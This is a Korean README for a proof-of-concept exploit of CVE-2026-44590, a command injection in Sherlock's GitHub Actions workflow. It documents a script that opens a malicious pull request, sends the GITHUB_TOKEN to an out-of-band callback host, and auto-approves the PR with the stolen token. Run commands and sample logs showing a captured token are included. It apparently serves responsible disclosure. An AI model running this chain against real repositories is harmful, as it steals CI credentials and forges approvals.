
CVE-2026-44590에 대한 개념 증명 익스플로잇으로, Sherlock의 GitHub Actions 워크플로우에서 발생하는 명령 주입 취약점으로, pull_request_target을 통해 RCE 및 GITHUB_TOKEN 탈취를 가능하게 합니다.
발견 및 보고: Astaruf
전체 분석 문서: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
업스트림 권고: sherlock-project/sherlock GHSA advisory
이 저장소는 sherlock-project/sherlock의 validate_modified_targets.yml GitHub Actions 워크플로우에서 발생하는 명령 주입 취약점인 CVE-2026-44590에 대한 개념 증명(PoC)을 포함합니다. 모든 GitHub 사용자는 권한이 부여된 CI 컨텍스트에서 임의 명령 실행을 유발하는 풀 리퀘스트를 열 수 있으며, 워크플로우의 GITHUB_TOKEN을 탈취하고 악성 PR을 자동 승인할 수 있습니다. 이 모든 과정은 사람의 개입 없이 이루어집니다.
전체 기술 문서(근본 원인 분석, 악용 절차, 영향 논의, 실제 시나리오에서 공격자가 할 수 있는 일에 대한 장)는 블로그 게시물을 참조하세요:
이 README는 PoC 스크립트에만 집중합니다: 무엇을 하는지, 어떻게 실행하는지, 무엇을 기대할 수 있는지.
poc.py 정보poc.py는 전체 공격 체인을 처음부터 끝까지 자동화하는 단일 자체 포함 Python 스크립트입니다(표준 라이브러리만 사용):
sherlock-project/sherlock을 포크합니다master를 수정 전 커밋으로 되돌립니다interactsh-client)를 실행합니다GITHUB_TOKEN을 추출하고(--mode exfil 모드) 평문으로 디코딩합니다VULNERABILITY CONFIRMED 또는 FIX VERIFIEDinteractsh-client 종료)수동 단계가 정확히 하나 필요합니다(포크당 처음 한 번 GitHub의 "I understand my workflows" 배너를 클릭). 이를 해제할 공개 API가 없기 때문입니다. 스크립트는 이 경우를 감지하고 명확한 프롬프트와 함께 일시 중지합니다.
python3 poc.py --fork-owner <your-github-username>
저장소를 포크하고(필요한 경우), 업스트림(패치된 master)과 동기화하고, 악성 PR을 열고, 공격 체인을 실행한 후 패치된 워크플로우가 셸 명령이 실행되기 전에 페이로드를 차단하므로 FIX VERIFIED를 보고합니다.
python3 poc.py --fork-owner <your-github-username> --vulnerable
위와 동일하지만, 먼저 포크의 master를 수정 전 커밋(271608fb)으로 되돌립니다. 예상 판정: VULNERABILITY CONFIRMED.
python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil
탈취 페이로드는 git config --list를 OAST로 덤프하고 180초 동안 대기하여 워크플로우(따라서 GITHUB_TOKEN)를 활성 상태로 유지합니다. 워크플로우가 대기하는 동안 스크립트는 OAST 로그에서 토큰을 추출하고, 디코딩한 후 즉시 GitHub API를 호출하여 PR을 승인합니다. PR은 github-actions[bot]에 의해 승인된 상태가 됩니다.
gh (GitHub CLI), 인증 필요:
gh auth login
gitinteractsh-client (선택 사항이지만 권장). 설치된 경우 스크립트가 자동으로 실행하고 스크립트 내에서 콜백을 검증합니다:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
--oast-url로 전달하면 자동 검증 단계가 건너뜁니다.스크립트는 포크가 미리 존재할 필요가 없으며 자동으로 생성합니다.
--mode harmless (기본값)페이로드는 정적 확인 문자열이 포함된 단일 curl POST입니다. 비밀 정보를 읽지 않고, API 호출도 하지 않으며, 유일한 부작용은 OAST 콜백입니다. 자격 증명을 노출하지 않고 취약점이 존재하는지 확인하는 데 사용합니다.
--mode exfil페이로드는 git config --list(http.https://github.com/.extraheader 아래에 base64로 인코딩된 GITHUB_TOKEN 포함)를 OAST로 덤프한 다음 180초 동안 대기합니다. 그런 다음 스크립트는:
x-access-token:ghs_XXXXXXXX....x-access-token: 접두사를 제거하고 원시 토큰을 사용하여 표준 승인 페이로드({"event":"APPROVE","body":"All checks passed. LGTM!"})로 POST /repos/<fork>/pulls/<n>/reviews를 호출합니다.github-actions[bot]에 의해 승인된 것으로 표시되며, 합법적인 CI 자동화와 구분할 수 없습니다.승인이 기록되면 스크립트는 워크플로우의 나머지 180초 대기를 건너뜁니다. 공격 체인이 완료되었고 러너가 타임아웃될 때까지 기다리는 것은 아무 의미가 없기 때문입니다.
| 플래그 | 설명 |
|---|---|
--fork-owner <user> | 필수. 포크를 소유(또는 소유할) GitHub 사용자 이름 |
--fork-name <name> | 포크 저장소 이름(기본값: sherlock) |
--oast-url <url> | 콜백을 수신하는 OAST 엔드포인트. 생략하면 스크립트가 interactsh-client를 자동 실행하고 스크립트 내 판정을 수행합니다 |
--mode harmless|exfil | 페이로드 유형(기본값: harmless) |
--vulnerable | 실행 전에 포크의 master를 수정 전 커밋(271608fb)으로 강제 리셋. --no-sync를 암시합니다 |
--no-sync | 포크를 업스트림과 동기화하지 않음(고정 커밋 테스트에 유용) |
--base-branch <name> | 포크의 PR 대상 브랜치(기본값: master) |
--keep-branch | 완료 후 PoC 브랜치를 삭제하지 않음 |
--no-poll | 워크플로우 실행 폴링을 건너뛰고 PR 생성 후 종료 |
설계상 PoC는 포크의 브랜치에서 동일한 포크의 master로 PR을 엽니다. sherlock-project/sherlock을 직접 대상으로 하지 않습니다. 여기에는 두 가지 이유가 있습니다.
공개 저장소의 풀 리퀘스트는 누구에게나 보입니다. PR이 닫힌 후에도 diff는 인덱스에 남아 있고, GitHub Actions 로그는 웹 UI를 통해 접근할 수 있습니다. 업스트림 저장소에 작동하는 명령 주입 페이로드가 포함된 PR을 여는 것은 유지 관리자가 수정을 배포하기 전에 기능적 익스플로잇을 사실상 공개하는 것입니다. 저장소를 지켜보는 누구나 페이로드를 복사하고, OAST 콜백을 악성 엔드포인트로 교체하고, 실제 GITHUB_TOKEN을 탈취하는 데 사용할 수 있습니다.
PoC는 포크 간 PR을 사용하여 익스플로잇을 공개 시야에서 숨기면서 버그를 처음부터 끝까지 시연합니다.
sherlock-project/sherlock을 포크하면 validate_modified_targets.yml 워크플로우 파일이 포크에 포함됩니다. 포크의 master를 대상으로 하는 PR을 열면 포크의 컨텍스트에서 워크플로우가 트리거되고, 포크에 대해 발급된 GITHUB_TOKEN이 사용됩니다. 메커니즘은 원래 공격과 동일합니다:
pull_request_target 트리거가 자동으로 발생합니다GITHUB_TOKEN에 접근할 수 있습니다actions/checkout은 http.https://github.com/.extraheader 설정을 통해 토큰을 .git/config에 기록합니다유일한 차이점은 피해 범위입니다: 토큰은 sherlock-project/sherlock이 아닌 포크에 속합니다. 취약점은 재현되고, 영향은 제한됩니다.
GitHub은 새로 생성된 포크에서 Actions를 UI 배너 뒤에 비활성화합니다:
Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.
이 배너를 해제할 공개 API는 없습니다. 스크립트는 이 조건(포크가 방금 생성되었거나 과거 워크플로우 실행이 0회)을 감지하고 명확한 프롬프트와 함께 일시 중지합니다:
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser: https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...
특정 포크에서 배너를 한 번 클릭하면 동일한 포크에 대한 후속 실행에서는 스크립트가 다시 프롬프트하지 않습니다.
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork: youruser/sherlock
10:54:36 [*] Payload mode: exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================
이 저장소는 교육 및 보안 연구 목적으로만 게시되었습니다. 이 취약점은 유지 관리자에게 책임 있게 공개되었고, 업스트림에서 수정되었으며, CVE가 요청되었습니다. 소유하지 않거나 명시적 테스트 권한이 없는 저장소에 대해 이 PoC를 실행하지 마십시오. 작성자는 오용에 대해 책임을 지지 않습니다.